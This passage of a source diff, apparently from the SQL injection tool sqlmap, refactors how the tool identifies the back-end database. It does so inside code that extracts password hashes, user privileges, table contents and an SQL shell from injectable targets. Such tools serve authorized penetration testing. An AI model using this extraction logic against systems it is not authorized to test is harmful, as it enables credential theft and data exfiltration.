indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - if getIdentifiedDBMS() in (DBMS.SYBASE, DBMS.MAXDB): + if backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index @@ -200,7 +201,7 @@ class Enumeration: def getPasswordHashes(self): infoMsg = "fetching database users password hashes" - rootQuery = queries[getIdentifiedDBMS()].passwords + rootQuery = queries[backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" @@ -209,7 +210,7 @@ class Enumeration: logger.info(infoMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): + if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query @@ -222,7 +223,7 @@ class Enumeration: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in users) else: - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user) if parsedUser: @@ -259,7 +260,7 @@ class Enumeration: retrievedUsers = set() for user in users: - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: @@ -272,7 +273,7 @@ class Enumeration: infoMsg += "for user '%s'" % user logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): + if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user @@ -289,14 +290,14 @@ class Enumeration: passwords = [] - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - if getIdentifiedDBMS() == DBMS.SYBASE: + if backend.getIdentifiedDbms() == DBMS.SYBASE: if index > 0: warnMsg = "unable to retrieve other password " warnMsg += "hashes for user '%s'" % user @@ -305,15 +306,15 @@ class Enumeration: else: query = rootQuery.blind.query % user getCurrentThreadData().disableStdOut = True - elif getIdentifiedDBMS() == DBMS.MSSQL: - if kb.dbmsVersion[0] in ( "2005", "2008" ): + elif backend.getIdentifiedDbms() == DBMS.MSSQL: + if backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = inject.getValue(query, inband=False, error=False) - if getIdentifiedDBMS() == DBMS.SYBASE: + if backend.getIdentifiedDbms() == DBMS.SYBASE: getCurrentThreadData().disableStdOut = False password = "0x%s" % strToHex(password) infoMsg = "retrieved: %s" % password @@ -350,31 +351,31 @@ class Enumeration: def __isAdminFromPrivileges(self, privileges): # In PostgreSQL the usesuper privilege means that the # user is DBA - dbaCondition = ( getIdentifiedDBMS() == DBMS.PGSQL and "super" in privileges ) + dbaCondition = ( backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges ) # In Oracle the DBA privilege means that the # user is DBA - dbaCondition |= ( getIdentifiedDBMS() == DBMS.ORACLE and "DBA" in privileges ) + dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.ORACLE and "DBA" in privileges ) # In MySQL >= 5.0 the SUPER privilege means # that the user is DBA - dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges ) + dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges ) # In MySQL < 5.0 the super_priv privilege means # that the user is DBA - dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges ) + dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges ) # In Firebird there is no specific privilege that means # that the user is DBA # TODO: confirm - dbaCondition |= ( getIdentifiedDBMS() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges ) + dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges ) return dbaCondition def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" - rootQuery = queries[getIdentifiedDBMS()].privileges + rootQuery = queries[backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" @@ -430,10 +431,10 @@ class Enumeration: } if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 - elif getIdentifiedDBMS() == DBMS.ORACLE and query2: + elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: @@ -445,7 +446,7 @@ class Enumeration: query += " WHERE " # NOTE: I assume that the user provided is not in # MySQL >= 5.0 syntax 'user'@'host' - if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema: queryUser = "%" + conf.user + "%" query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) else: @@ -453,7 +454,7 @@ class Enumeration: values = inject.getValue(query, blind=False) - if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2: + if not values and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) @@ -475,19 +476,19 @@ class Enumeration: # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise - if getIdentifiedDBMS() == DBMS.PGSQL and getUnicode(privilege).isdigit(): + if backend.getIdentifiedDbms() == DBMS.PGSQL and getUnicode(privilege).isdigit(): for position, pgsqlPriv in pgsqlPrivs: if count == position and int(privilege) == 1: privileges.add(pgsqlPriv) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ): + elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise - elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: for position, mysqlPriv in mysqlPrivs: if count == position and privilege.upper() == "Y": privileges.add(mysqlPriv) @@ -504,7 +505,7 @@ class Enumeration: conditionChar = "=" if conf.user: - if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema: conditionChar = " LIKE " if "," in conf.user: @@ -531,7 +532,7 @@ class Enumeration: for user in users: unescapedUser = None - if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema: unescapedUser = unescaper.unescape(user, quote=False) if user in retrievedUsers: @@ -546,18 +547,18 @@ class Enumeration: else: queryUser = user - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.count2 % queryUser - elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, queryUser) - elif getIdentifiedDBMS() == DBMS.ORACLE and query2: + elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) if not isNumPosStrValue(count): - if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2: + if not (isinstance(count, basestring) and count.isdigit()) and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) @@ -573,20 +574,20 @@ class Enumeration: privileges = set() - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (queryUser, index) - elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, queryUser, index) - elif getIdentifiedDBMS() == DBMS.ORACLE and query2: + elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2: query = rootQuery.blind.query2 % (queryUser, index) - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = rootQuery.blind.query % (index, queryUser) else: query = rootQuery.blind.query % (queryUser, index) @@ -594,7 +595,7 @@ class Enumeration: # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise - if getIdentifiedDBMS() == DBMS.PGSQL and ", " in privilege: + if backend.getIdentifiedDbms() == DBMS.PGSQL and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 @@ -609,12 +610,12 @@ class Enumeration: # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ): + elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise - elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 @@ -628,7 +629,7 @@ class Enumeration: i += 1 # In Firebird we get one letter for each privilege - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: privileges.add(firebirdPrivs[privilege.strip()]) if self.__isAdminFromPrivileges(privileges): @@ -637,7 +638,7 @@ class Enumeration: # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: break if privileges: @@ -657,14 +658,14 @@ class Enumeration: return ( kb.data.cachedUsersPrivileges, areAdmins ) def getRoles(self, query2=False): - warnMsg = "on %s the concept of roles does not " % getIdentifiedDBMS() + warnMsg = "on %s the concept of roles does not " % backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warn(warnMsg) return self.getPrivileges(query2) def getDbs(self): - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" @@ -673,10 +674,10 @@ class Enumeration: infoMsg = "fetching database names" logger.info(infoMsg) - rootQuery = queries[getIdentifiedDBMS()].dbs + rootQuery = queries[backend.getIdentifiedDbms()].dbs if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query @@ -689,7 +690,7 @@ class Enumeration: infoMsg = "fetching number of databases" logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -702,9 +703,9 @@ class Enumeration: indexRange = getRange(count) for index in indexRange: - if getIdentifiedDBMS() == DBMS.SYBASE: + if backend.getIdentifiedDbms() == DBMS.SYBASE: query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") - elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index @@ -724,13 +725,13 @@ class Enumeration: self.forceDbmsEnum() - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True - elif getIdentifiedDBMS() == DBMS.ACCESS: + elif backend.getIdentifiedDbms() == DBMS.ACCESS: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) @@ -769,7 +770,7 @@ class Enumeration: infoMsg += " for database '%s'" % conf.db logger.info(infoMsg) - rootQuery = queries[getIdentifiedDBMS()].tables + rootQuery = queries[backend.getIdentifiedDbms()].tables if conf.db: if "," in conf.db: @@ -787,7 +788,7 @@ class Enumeration: condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: - if conf.db and getIdentifiedDBMS() != DBMS.SQLITE: + if conf.db and backend.getIdentifiedDbms() != DBMS.SQLITE: if "," in conf.db: dbs = conf.db.split(",") query += " WHERE " @@ -800,12 +801,12 @@ class Enumeration: infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) logger.info(infoMsg) - if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): query = safeStringFormat(query, conf.db) value = inject.getValue(query, blind=False) if value: - if getIdentifiedDBMS() == DBMS.SQLITE: + if backend.getIdentifiedDbms() == DBMS.SQLITE: if isinstance(value, basestring): value = [[ DBMS.SQLITE, value ]] elif isinstance(value, (list, tuple, set)): @@ -834,7 +835,7 @@ class Enumeration: infoMsg += "database '%s'" % db logger.info(infoMsg) - if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB): + if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.blind.count else: query = rootQuery.blind.count % db @@ -848,18 +849,18 @@ class Enumeration: tables = [] - if getIdentifiedDBMS() in ( DBMS.MSSQL, DBMS.ORACLE ): + if backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE ): plusOne = True else: plusOne = False indexRange = getRange(count, plusOne=plusOne) for index in indexRange: - if getIdentifiedDBMS() == DBMS.SYBASE: + if backend.getIdentifiedDbms() == DBMS.SYBASE: query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif getIdentifiedDBMS() == DBMS.MAXDB: + elif backend.getIdentifiedDbms() == DBMS.MAXDB: query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD): + elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index else: query = rootQuery.blind.query % (db, index) @@ -900,13 +901,13 @@ class Enumeration: conf.db = self.getCurrentDb() - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True - elif getIdentifiedDBMS() == DBMS.ACCESS: + elif backend.getIdentifiedDbms() == DBMS.ACCESS: errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) @@ -957,13 +958,13 @@ class Enumeration: "37":"VARCHAR" } - rootQuery = queries[getIdentifiedDBMS()].columns + rootQuery = queries[backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None infoMsg = "fetching columns " if conf.col: - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: conf.col = conf.col.upper() colList = conf.col.split(",") condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")" @@ -976,24 +977,24 @@ class Enumeration: logger.info(infoMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.inband.query % (conf.tbl, conf.db) query += condQuery - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.inband.query % conf.tbl.upper() query += condQuery - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.tbl) query += condQuery.replace("[DB]", conf.db) - elif getIdentifiedDBMS() == DBMS.SQLITE: + elif backend.getIdentifiedDbms() == DBMS.SQLITE: query = rootQuery.inband.query % conf.tbl value = inject.getValue(query, blind=False) - if getIdentifiedDBMS() == DBMS.SQLITE: + if backend.getIdentifiedDbms() == DBMS.SQLITE: parseSqliteTableSchema(value) elif value: table = {} @@ -1011,19 +1012,19 @@ class Enumeration: infoMsg += " on database '%s'" % conf.db logger.info(infoMsg) - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.count % (conf.tbl, conf.db) query += condQuery - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.blind.count % conf.tbl.upper() query += condQuery - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl) query += condQuery.replace("[DB]", conf.db) - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = rootQuery.blind.count % (conf.tbl) query += condQuery - elif getIdentifiedDBMS() == DBMS.SQLITE: + elif backend.getIdentifiedDbms() == DBMS.SQLITE: query = rootQuery.blind.query % conf.tbl value = inject.getValue(query, inband=False, error=False) @@ -1045,22 +1046,22 @@ class Enumeration: indexRange = getRange(count) for index in indexRange: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query % (conf.tbl, conf.db) query += condQuery field = None - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.blind.query % (conf.tbl.upper()) query += condQuery field = None - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.tbl) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = rootQuery.blind.query % (conf.tbl) query += condQuery field = None @@ -1069,20 +1070,20 @@ class Enumeration: column = inject.getValue(query, inband=False, error=False) if not onlyColNames: - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query2 % (conf.tbl, column, conf.db) - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.blind.query2 % (conf.tbl.upper(), column) - elif getIdentifiedDBMS() == DBMS.MSSQL: + elif backend.getIdentifiedDbms() == DBMS.MSSQL: query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, conf.tbl) - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = rootQuery.blind.query2 % (conf.tbl, column) colType = inject.getValue(query, inband=False, error=False) - if getIdentifiedDBMS() == DBMS.FIREBIRD: + if backend.getIdentifiedDbms() == DBMS.FIREBIRD: colType = firebirdTypes[colType] if colType in firebirdTypes else colType columns[column] = colType @@ -1128,9 +1129,9 @@ class Enumeration: conf.db = self.getCurrentDb() - rootQuery = queries[getIdentifiedDBMS()].dump_table + rootQuery = queries[backend.getIdentifiedDbms()].dump_table - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: if '-' in conf.tbl: conf.tbl = "`%s`" % conf.tbl if '-' in conf.db: @@ -1173,9 +1174,9 @@ class Enumeration: entriesCount = 0 if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.inband.query % (colString, conf.tbl.upper()) - elif getIdentifiedDBMS() == DBMS.SQLITE: + elif backend.getIdentifiedDbms() == DBMS.SQLITE: query = rootQuery.inband.query % (colString, conf.tbl) else: query = rootQuery.inband.query % (colString, conf.db, conf.tbl) @@ -1221,9 +1222,9 @@ class Enumeration: infoMsg += "on database '%s'" % conf.db logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.blind.count % conf.tbl.upper() - elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % conf.tbl else: query = rootQuery.blind.count % (conf.db, conf.tbl) @@ -1243,14 +1244,14 @@ class Enumeration: lengths = {} entries = {} - if getIdentifiedDBMS() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE): + if backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE): plusOne = True else: plusOne = False indexRange = getRange(count, dump=True, plusOne=plusOne) try: - if getIdentifiedDBMS() == DBMS.ACCESS: + if backend.getIdentifiedDbms() == DBMS.ACCESS: validColumnList = False validPivotValue = False @@ -1327,22 +1328,22 @@ class Enumeration: if column not in entries: entries[column] = [] - if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): + if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): query = rootQuery.blind.query % (column, conf.db, conf.tbl, index) - elif getIdentifiedDBMS() == DBMS.ORACLE: + elif backend.getIdentifiedDbms() == DBMS.ORACLE: query = rootQuery.blind.query % (column, column, conf.tbl.upper(), index) - elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): + elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): query = rootQuery.blind.query % (column, index, conf.db, conf.tbl, colList[0], colList[0], colList[0]) - elif getIdentifiedDBMS() == DBMS.SQLITE: + elif backend.getIdentifiedDbms() == DBMS.SQLITE: query = rootQuery.blind.query % (column, conf.tbl, index) - elif getIdentifiedDBMS() == DBMS.FIREBIRD: + elif backend.getIdentifiedDbms() == DBMS.FIREBIRD: query = rootQuery.blind.query % (index, column, conf.tbl) value = inject.getValue(query, inband=False, error=False) @@ -1386,7 +1387,7 @@ class Enumeration: return kb.data.dumpedTable def dumpAll(self): - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise sqlmapUnsupportedFeatureException, errMsg @@ -1487,10 +1488,10 @@ class Enumeration: def searchDb(self): foundDbs = [] - rootQuery = queries[getIdentifiedDBMS()].search_db + rootQuery = queries[backend.getIdentifiedDbms()].search_db dbList = conf.db.split(",") - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: dbCond = rootQuery.inband.condition2 else: dbCond = rootQuery.inband.condition @@ -1515,7 +1516,7 @@ class Enumeration: dbQuery = dbQuery % db if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query @@ -1536,7 +1537,7 @@ class Enumeration: infoMsg += " '%s'" % db logger.info(infoMsg) - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -1556,7 +1557,7 @@ class Enumeration: indexRange = getRange(count) for index in indexRange: - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: query = rootQuery.blind.query2 else: query = rootQuery.blind.query @@ -1571,12 +1572,12 @@ class Enumeration: def searchTable(self): bruteForce = False - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True - elif getIdentifiedDBMS() == DBMS.ACCESS: + elif backend.getIdentifiedDbms() == DBMS.ACCESS: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) @@ -1594,7 +1595,7 @@ class Enumeration: regex = "|".join(conf.tbl.split(",")) return tableExists(paths.COMMON_TABLES, regex) - rootQuery = queries[getIdentifiedDBMS()].search_table + rootQuery = queries[backend.getIdentifiedDbms()].search_table foundTbls = {} tblList = conf.tbl.split(",") tblCond = rootQuery.inband.condition @@ -1603,7 +1604,7 @@ class Enumeration: tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: - if getIdentifiedDBMS() == DBMS.ORACLE: + if backend.getIdentifiedDbms() == DBMS.ORACLE: tbl = tbl.upper() infoMsg = "searching table" @@ -1713,12 +1714,12 @@ class Enumeration: def searchColumn(self): bruteForce = False - if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: + if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True - elif getIdentifiedDBMS() == DBMS.ACCESS: + elif backend.getIdentifiedDbms() == DBMS.ACCESS: errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) @@ -1744,7 +1745,7 @@ class Enumeration: return - rootQuery = queries[getIdentifiedDBMS()].search_column + rootQuery = queries[backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} colList = conf.col.split(",") @@ -1956,7 +1957,7 @@ class Enumeration: return output def sqlShell(self): - infoMsg = "calling %s shell. To quit type " % getIdentifiedDBMS() + infoMsg = "calling %s shell. To quit type " % backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 5e5433554..a9879630a 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -13,7 +13,7 @@ import os from lib.core.agent import agent from lib.core.common import dataToOutFile -from lib.core.common import getIdentifiedDBMS +from lib.core.common import backend from lib.core.common import isTechniqueAvailable from lib.core.common import randomStr from lib.core.common import readInput @@ -87,13 +87,13 @@ class Filesystem: return fileLines def __checkWrittenFile(self, wFile, dFile, fileType): - if getIdentifiedDBMS() == DBMS.MYSQL: + if backend.getIdentifiedDbms() == DBMS.MYSQL: lengthQuery = 